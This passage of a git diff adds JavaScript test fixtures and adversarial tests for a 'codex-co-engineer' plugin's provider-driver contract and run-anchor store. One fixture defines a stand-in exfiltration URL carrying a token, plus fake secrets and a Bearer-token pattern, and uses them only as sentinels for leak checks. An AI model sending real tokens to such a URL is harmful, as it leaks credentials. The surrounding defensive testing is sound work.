'abandoned', reason: healthReason }, + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs new file mode 100644 index 0000000..d9a4812 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs @@ -0,0 +1,64 @@ +// Neutral fixtures for the worker-exit seam. Construction only: no Git, +// systemd, cgroup, or WTB lock mutation. Incident snapshots reconstruct the +// two live-cgroup terminal-receipt occurrences at the worker seam. + +export const HOSTILE_SECRET = 'sk-secret-value-do-not-leak'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_URL = 'https://evil.example/steal?token=secret'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const INCIDENT_1 = Object.freeze({ + occurrence: 1, + task_id: 'r1-w25b-rtruth-server-tasks-classifier-repair-grok-20260825', + stored_status: 'completed', + public_state: 'succeeded', + finished_at: '2026-08-25T20:32:28.074Z', + worker_still_alive: true, + wtb_lock_held: true, + classification: 'terminal_receipt_with_live_worker', +}); + +export const INCIDENT_2 = Object.freeze({ + occurrence: 2, + task_id: 'r1-w25b-rtruth-task-store-filter-final-closure-grok-20260825', + stored_status: 'completed', + finished_at: '2026-08-25T21:16:29.745Z', + worker_still_alive: true, + wtb_lock_held: true, + classification: 'terminal_receipt_with_live_worker', +}); + +export function incidentReceipt(incident, extra = {}) { + return { + id: incident.task_id, + status: incident.stored_status, + finished_at: incident.finished_at, + ...extra, + }; +} + +export function hangingPromise() { + let resolve; + const promise = new Promise((next) => { resolve = next; }); + return { promise, resolve }; +} + +export function hangingRuntime(closeImpl) { + const calls = []; + return { + calls, + close(input) { + calls.push(input); + return closeImpl(input); + }, + }; +} + +export function contentFreeCleanup(value) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + return !text.includes(HOSTILE_SECRET) + && !text.includes(HOSTILE_PATH) + && !text.includes(HOSTILE_URL) + && !text.includes('sk-') + && !/Bearer\s+[A-Za-z0-9._~+/=-]+/u.test(text); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs new file mode 100644 index 0000000..f93dd6f --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs @@ -0,0 +1,66 @@ +// Shared fixtures for the W14-P16A VerificationPolicyV1 tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the trusted-policy module under test. + +export const COMMAND_ID = 'unit-tests'; +export const EXECUTABLE = '/usr/bin/npm'; + +export function validCommand(overrides = {}) { + return { + command_id: COMMAND_ID, + executable: EXECUTABLE, + argv_template: ['test'], + ...overrides, + }; +} + +export function validParameterizedCommand(overrides = {}) { + return validCommand({ + command_id: 'file-tests', + argv_template: ['test', '--', '{file}'], + parameters: { + file: { type: 'path_segment', max_bytes: 64 }, + }, + ...overrides, + }); +} + +export function validPolicy(overrides = {}) { + return { + schema: 'codex-co-engineer.verification-policy.v1', + version: 1, + commands: [validCommand()], + ...overrides, + }; +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs b/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs new file mode 100644 index 0000000..8baf460 --- /dev/null +++ b/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs @@ -0,0 +1,399 @@ +// Reusable, provider-neutral ProviderDriverV1 conformance kit (P17). +// +// Any scripted or future harness driver (P18-P21) can be driven through this +// suite offline, with no provider transport, to prove: +// - exactly four own-function operations and nothing else; +// - the accepted P05 13-field capability record, not a stub schema; +// - exact ChildEnvelopeV1 proof requests and identity-echoing results; +// - unsupported live progress/restart/cancellation/detailed events fail +// closed with no fallback or replay; +// - hostile descriptors/proxies/accessors/symbols/exotic/sparse/alias/ +// cycle/depth/size inputs never execute caller code; +// - transition, correlation, duplicate, stale, and tamper cases fail +// with stable typed errors. + +import assert from 'node:assert/strict'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1, parseChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_FEATURE_KEYS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + LAUNCH_DISPOSITIONS, + PREFLIGHT_DISPOSITIONS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverLaunchRequestV1, + validateDriverReconcileRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { p17Record } from './fixtures/r1-resolver-fixtures.mjs'; + +export const DRIVER_SUITE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const DRIVER_SUITE_REPOSITORY_PATH = '/opt/codex-co-engineer-driver-contract/suite'; +export const DRIVER_SUITE_RUN_ID = 'driver-contract-suite'; +export const DRIVER_SUITE_ASSIGNMENT_ID = 'contract-lane'; + +export function buildDriverContractFixtureV1() { + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: DRIVER_SUITE_RUN_ID, + repository: Object.freeze({ path: DRIVER_SUITE_REPOSITORY_PATH, base_sha: DRIVER_SUITE_BASE_SHA }), + objective: 'Exercise the ProviderDriverV1 contract suite end to end.', + assignments: Object.freeze([Object.freeze({ + assignment_id: DRIVER_SUITE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the contract lane exactly as instructed by the envelope.', + execution: Object.freeze({ provider: 'dsh', model: 'stealth/ox-alpha' }), + write_scope: Object.freeze(['mcp/**']), + acceptance: Object.freeze([Object.freeze({ command_id: 'unit-tests', timeout_ms: 600_000 })]), + expected_duration_ms: 1_200_000, + required_evidence: Object.freeze(['provider_report', 'git_diff']), + })]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const envelope = compileChildEnvelopeV1(manifest, DRIVER_SUITE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function driverFeatures(overrides = {}) { + return { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...overrides, + }; +} + +export function driverDeclaration(provider = 'dsh', featureOverrides = {}, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, capabilityOverrides), + features: driverFeatures(featureOverrides), + }; +} + +export function driverResultFor(operation, request, disposition, overrides = {}) { + const lane = parseChildEnvelopeV1(request.envelope_text); + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: lane.run_id, + assignment_id: lane.assignment_id, + lane_index: lane.lane_index, + base_sha: lane.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + ...overrides, + }; +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return { + detail_code: 'model_unattested', + detail_message: 'The installed provider cannot attest the model.', + }; + } + if (operation === 'launch' && disposition === 'not_sent') { + return { + detail_code: 'transport_unavailable', + detail_message: 'No prompt reached the provider.', + }; + } + return {}; +} + +export function scriptedProviderDriverV1(dispositions = {}) { + const chosen = { + preflight: 'ready', + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'cancel_confirmed', + ...dispositions, + }; + return { + preflight: (request) => driverResultFor( + 'preflight', request, chosen.preflight, detailFor('preflight', chosen.preflight), + ), + launch: (request) => driverResultFor( + 'launch', request, chosen.launch, detailFor('launch', chosen.launch), + ), + reconcile: (request) => driverResultFor('reconcile', request, chosen.reconcile), + cancel: (request) => driverResultFor('cancel', request, chosen.cancel), + }; +} + +function expectDriverFailure(prefix, name, fn, code) { + assert.throws( + fn, + (error) => error instanceof RunContractV1Error && (code === undefined || error.code === code), + `${prefix} ${name}: expected RunContractV1Error${code ? ` with code ${code}` : ''}.`, + ); +} + +function hostileRequest(operation, extraKey, extraValue) { + const fixture = buildDriverContractFixtureV1(); + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + if (extraKey !== undefined) request[extraKey] = extraValue; + return request; +} + +export function runProviderDriverContractSuiteV1(driver, options = {}) { + const label = options.label ?? 'provider-driver'; + const declaration = options.declaration ?? driverDeclaration('dsh'); + const prefix = `[${label}]`; + let checks = 0; + const pass = () => { checks += 1; }; + const fixture = buildDriverContractFixtureV1(); + + const description = describeProviderDriverContractV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS], `${prefix} contract operations`); + assert.equal(description.version, PROVIDER_DRIVER_VERSION, `${prefix} contract version`); + assert.equal(description.relaunch_operations.length, 0, `${prefix} defines no relaunch operation`); + assert.deepEqual([...description.transports], [], `${prefix} claims no provider transport`); + assert.equal( + description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + `${prefix} capability schema is the accepted P05 bridge`, + ); + assert.equal(description.capability_record_keys.length, 13, `${prefix} P05 13-field capability record`); + pass(); + + const summary = assertProviderDriverV1(driver); + assert.equal(summary.schema, description.schema, `${prefix} driver schema`); + pass(); + + const bound = bindProviderDriverV1(driver, declaration); + assert.deepEqual(Object.keys(bound).sort(), [...DRIVER_OPERATIONS].sort(), + `${prefix} bound surface exposes exactly the four operations`); + pass(); + + const receipts = {}; + for (const operation of DRIVER_OPERATIONS) { + const request = buildDriverOperationRequestV1(operation, fixture.envelope); + const receipt = bound[operation](request); + assert.ok(DRIVER_DISPOSITIONS[operation].includes(receipt.disposition), + `${prefix} ${operation} uses the closed disposition vocabulary`); + assert.equal(receipt.run_id, fixture.run_id, `${prefix} ${operation} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${prefix} ${operation} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${prefix} ${operation} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${prefix} ${operation} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${prefix} ${operation} echoes the verified envelope digest`); + assert.ok(Object.isFrozen(receipt), `${prefix} ${operation} result is detached/frozen`); + receipts[operation] = receipt; + pass(); + } + + if (receipts.preflight.disposition === PREFLIGHT_DISPOSITIONS[1]) { + assert.equal(typeof receipts.preflight.detail_code, 'string', `${prefix} blocked preflight classifies itself`); + } else { + assert.equal(receipts.preflight.detail_code, undefined, `${prefix} ready preflight stays bare`); + } + if (receipts.launch.disposition === LAUNCH_DISPOSITIONS[0]) { + assert.equal(typeof receipts.launch.detail_code, 'string', `${prefix} not_sent launch classifies itself`); + } else { + assert.equal(receipts.launch.detail_code, undefined, + `${prefix} ${receipts.launch.disposition} launch stays bare`); + } + pass(); + + expectDriverFailure(prefix, 'digest-only launch', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), + 'digest_only_launch_denied'); + pass(); + + const flipped = fixture.child_envelope_digest.startsWith('0') + ? `1${fixture.child_envelope_digest.slice(1)}` + : `0${fixture.child_envelope_digest.slice(1)}`; + expectDriverFailure(prefix, 'wrong digest', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'child_envelope_digest', flipped)), + 'child_envelope_digest_mismatch'); + const last = fixture.envelope_text.charCodeAt(fixture.envelope_text.length - 1); + const tamperedText = `${fixture.envelope_text.slice(0, -1)}${String.fromCharCode(last ^ 1)}`; + expectDriverFailure(prefix, 'tampered envelope bytes', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: tamperedText, + child_envelope_digest: fixture.child_envelope_digest, + })); + expectDriverFailure(prefix, 'uppercase digest', + () => validateDriverLaunchRequestV1(hostileRequest( + 'launch', 'child_envelope_digest', fixture.child_envelope_digest.toUpperCase(), + )), + 'invalid_format'); + pass(); + + expectDriverFailure(prefix, 'cross-operation reuse', + () => validateDriverReconcileRequestV1(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'schema_mismatch'); + pass(); + + const foreignKeys = [ + ['fallback', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['relaunch_attempts', 1, 'unknown_key'], + ['resend', true, 'replay_or_fallback_denied'], + ]; + for (const [key, value, code] of foreignKeys) { + expectDriverFailure(prefix, `foreign key ${key}`, + () => validateDriverLaunchRequestV1(hostileRequest('launch', key, value)), + code); + } + pass(); + + let getterRuns = 0; + const accessorRequest = hostileRequest('launch'); + delete accessorRequest.envelope_text; + Object.defineProperty(accessorRequest, 'envelope_text', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.envelope_text; + }, + }); + expectDriverFailure(prefix, 'accessor request', + () => validateDriverLaunchRequestV1(accessorRequest), + 'accessor_property_denied'); + assert.equal(getterRuns, 0, `${prefix} no getter executed during request validation`); + + expectDriverFailure(prefix, 'Proxy request', + () => validateDriverLaunchRequestV1(new Proxy(hostileRequest('launch'), {})), + 'proxy_denied'); + const revocable = Proxy.revocable(hostileRequest('launch'), {}); + revocable.revoke(); + expectDriverFailure(prefix, 'revoked Proxy request', + () => validateDriverLaunchRequestV1(revocable.proxy), + 'proxy_denied'); + expectDriverFailure(prefix, 'symbol key', + () => validateDriverLaunchRequestV1(hostileRequest('launch', Symbol('hidden'), 1)), + 'symbol_key_denied'); + + const hiddenKeyRequest = hostileRequest('launch'); + Object.defineProperty(hiddenKeyRequest, 'schema', { + value: DRIVER_OPERATION_SCHEMA_IDS.launch, enumerable: false, + }); + expectDriverFailure(prefix, 'non-enumerable key', + () => validateDriverLaunchRequestV1(hiddenKeyRequest), + 'non_enumerable_property_denied'); + expectDriverFailure(prefix, 'exotic prototype', + () => validateDriverLaunchRequestV1(Object.assign( + Object.create({ inherited() {} }), hostileRequest('preflight'), + )), + 'exotic_prototype_denied'); + expectDriverFailure(prefix, 'sparse array payload', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'extra', new Array(3))), + 'invalid_array'); + const cyclicRequest = hostileRequest('launch', 'extra', {}); + cyclicRequest.extra.self = cyclicRequest.extra; + expectDriverFailure(prefix, 'cyclic payload', + () => validateDriverLaunchRequestV1(cyclicRequest), + 'aliased_reference_denied'); + const shared = { lane: 1 }; + const aliasedRequest = hostileRequest('launch', 'extra', shared); + aliasedRequest.extra2 = shared; + expectDriverFailure(prefix, 'aliased payload', + () => validateDriverLaunchRequestV1(aliasedRequest), + 'aliased_reference_denied'); + expectDriverFailure(prefix, 'function payload', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'envelope_text', () => {})), + 'invalid_json_type'); + let depth = { v: 0 }; + for (let index = 0; index < 34; index += 1) depth = { nested: depth }; + expectDriverFailure(prefix, 'oversized depth', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'extra', depth)), + 'value_depth_exceeded'); + const ownUndefined = hostileRequest('launch'); + ownUndefined.version = undefined; + expectDriverFailure(prefix, 'own undefined', + () => validateDriverLaunchRequestV1(ownUndefined), + 'own_undefined_denied'); + pass(); + + expectDriverFailure(prefix, 'fifth operation', + () => assertProviderDriverV1({ ...driver, retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...driver }; + delete incomplete.cancel; + expectDriverFailure(prefix, 'missing operation', + () => assertProviderDriverV1(incomplete), + 'invalid_surface'); + expectDriverFailure(prefix, 'non-function operation', + () => assertProviderDriverV1({ ...driver, preflight: 42 }), + 'invalid_operation'); + const accessorDriver = {}; + Object.defineProperty(accessorDriver, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of ['launch', 'reconcile', 'cancel']) accessorDriver[operation] = () => ({}); + expectDriverFailure(prefix, 'accessor operation', + () => assertProviderDriverV1(accessorDriver), + 'invalid_object'); + expectDriverFailure(prefix, 'Proxy driver', + () => assertProviderDriverV1(new Proxy({ ...driver }, {})), + 'proxy_denied'); + class DriverClass {} + expectDriverFailure(prefix, 'exotic prototype driver', + () => assertProviderDriverV1(Object.assign(new DriverClass(), driver)), + 'exotic_prototype_denied'); + const symbolDriver = { ...driver }; + symbolDriver[Symbol('extra')] = () => ({}); + expectDriverFailure(prefix, 'symbol-keyed driver', + () => assertProviderDriverV1(symbolDriver), + 'invalid_object'); + pass(); + + expectDriverFailure(prefix, 'duplicate launch after possible send', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'replay_denied'); + pass(); + + assert.equal(DRIVER_FEATURE_KEYS.length, 4, `${prefix} four honest driver features`); + pass(); + + return Object.freeze({ + label, + checks, + ok: true, + operations: Object.freeze([...DRIVER_OPERATIONS]), + }); +} diff --git a/plugins/codex-co-engineer/test/r1-aggregate-run-anchor-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor-adversarial.test.mjs new file mode 100644 index 0000000..20dda5b --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor-adversarial.test.mjs @@ -0,0 +1,555 @@ +import assert from 'node:assert/strict'; +import { + chmod, + mkdir, + open, + readdir, + readFile, + rename, + rm, + symlink, + truncate, + writeFile, +} from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_RUN_STAMP_SCHEMA_ID, + initializeAggregateRunAnchorRoot, + openAggregateRunAnchor, +} from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeStoredPlan, + makeStoredReply, + makeSubmitInput, +} from './fixtures/r1-aggregate-run-anchor-fixtures.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); +} + +async function withAnchor(fn) { + const root = await makePrivateRoot('r1-r24a-adv-'); + try { + const store = await initializeAggregateRunAnchorRoot(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('illegal transitions, stale revisions, and second bindings conflict', async () => { + await withAnchor(async (_root, store) => { + await store.submit(makeSubmitInput()); + assert.equal((await errorOf(() => store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: makeSelectionRequest().identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, makeSelectionRequest().identity.request_id, defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }))).code, 'aggregate_run_revision_conflict'); + + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const other = makeSelectionRequest({ runId: AGGREGATE_RUN_ID, assignmentCount: 8 }); + assert.equal((await errorOf(() => store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: other.identity, + record: other.record, + }))).code, 'aggregate_run_revision_conflict'); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }))).code, 'aggregate_run_revision_conflict'); + }); +}); + +test('exact orphan records are adopted and differing orphans conflict', async () => { + await withAnchor(async (root, store) => { + await store.submit(makeSubmitInput()); + const selection = makeSelectionRequest(); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + await writeFile(requestPath, `${canonicalJsonStringify(selection.record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + const adopted = await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + assert.equal(adopted.created, true); + assert.equal(adopted.coordination.phase, 'awaiting_selection'); + + const replyPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-reply.record.json'); + const planPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'resolved-plan.record.json'); + await writeFile(replyPath, `${canonicalJsonStringify(makeStoredReply( + AGGREGATE_RUN_ID, selection.identity.request_id, defaultAnswers(1), + ))}\n`, { mode: 0o600 }); + await chmod(replyPath, 0o600); + await writeFile(planPath, `${canonicalJsonStringify(makeStoredPlan(AGGREGATE_RUN_ID))}\n`, { mode: 0o600 }); + await chmod(planPath, 0o600); + const resolved = await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, selection.identity.request_id, defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(resolved.created, true); + }); + + await withAnchor(async (root, store) => { + await store.submit(makeSubmitInput()); + const selection = makeSelectionRequest(); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + const other = makeSelectionRequest({ assignmentCount: 8 }); + await writeFile(requestPath, `${canonicalJsonStringify(other.record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + assert.equal((await errorOf(() => store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }))).code, 'aggregate_run_orphan_conflict'); + }); +}); + +test('committed missing malformed and digest-mismatched records are corruption', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + await rm(requestPath); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + const replay = await errorOf(() => store.submit(input)); + assert.equal(replay.code, 'aggregate_run_record_corruption'); + assert.notEqual(replay.code, undefined); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + await writeFile(requestPath, '{"schema":"nope"\n', { mode: 0o600 }); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + const other = makeSelectionRequest({ assignmentCount: 8 }); + await writeFile(requestPath, `${canonicalJsonStringify(other.record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + const planPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'resolved-plan.record.json'); + const parsed = JSON.parse((await readFile(planPath, 'utf8')).trim()); + parsed.canonical_digest = `sha256:${'ab'.repeat(32)}`; + await writeFile(planPath, `${canonicalJsonStringify(parsed)}\n`, { mode: 0o600 }); + await chmod(planPath, 0o600); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, selection.identity.request_id, defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + const replyPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-reply.record.json'); + await rm(replyPath); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + await writeFile(replyPath, '{"schema":"nope"\n', { mode: 0o600 }); + assert.equal((await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + }); +}); + +test('malformed out-of-order and conflicting prefixes fail closed without overwrite', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const runDir = path.join(root, 'runs', AGGREGATE_RUN_ID); + const anchorPath = path.join(runDir, 'anchor.json'); + const coordPath = path.join(runDir, 'coordination.json'); + const stampPath = path.join(runDir, 'created.json'); + const requestPath = path.join(runDir, 'selection-request.record.json'); + const anchorBytes = await readFile(anchorPath); + const coordBytes = await readFile(coordPath); + + await rm(coordPath); + await rm(stampPath); + await writeFile(anchorPath, '{"schema":"nope"\n', { mode: 0o600 }); + const malformed = await errorOf(() => store.submit(input)); + assert.ok([ + 'aggregate_run_malformed', + 'aggregate_run_identity_mismatch', + 'aggregate_run_unreadable', + ].includes(malformed.code), malformed.code); + assert.equal((await readFile(anchorPath)).toString('utf8'), '{"schema":"nope"\n'); + + await writeFile(anchorPath, anchorBytes, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + await writeFile(coordPath, coordBytes, { mode: 0o600 }); + await chmod(coordPath, 0o600); + await rm(anchorPath); + const outOfOrder = await errorOf(() => store.submit(input)); + assert.equal(outOfOrder.code, 'aggregate_run_unreadable'); + assert.equal((await readFile(coordPath)).equals(coordBytes), true); + assert.equal((await readdir(runDir)).includes('anchor.json'), false); + + await writeFile(anchorPath, anchorBytes, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + await writeFile(stampPath, `${canonicalJsonStringify({ + schema: AGGREGATE_RUN_STAMP_SCHEMA_ID, + run_id: AGGREGATE_RUN_ID, + record_canonical_digest: first.record.canonical_digest, + nonce: 'ab'.repeat(16), + })}\n`, { mode: 0o600 }); + await chmod(stampPath, 0o600); + await rm(coordPath); + const stampBeforeCoord = await errorOf(() => store.submit(input)); + assert.equal(stampBeforeCoord.code, 'aggregate_run_unreadable'); + assert.equal((await readFile(anchorPath)).equals(anchorBytes), true); + assert.equal((await readdir(runDir)).includes('coordination.json'), false); + + await rm(stampPath); + const otherRoot = await makePrivateRoot('r1-r24a-conflict-anchor-'); + try { + const otherStore = await initializeAggregateRunAnchorRoot(otherRoot); + await otherStore.submit(makeSubmitInput({ assignmentCount: 8 })); + const conflicting = await readFile(path.join(otherRoot, 'runs', AGGREGATE_RUN_ID, 'anchor.json')); + await writeFile(anchorPath, conflicting, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + } finally { + await rm(otherRoot, { recursive: true, force: true }); + } + const conflict = await 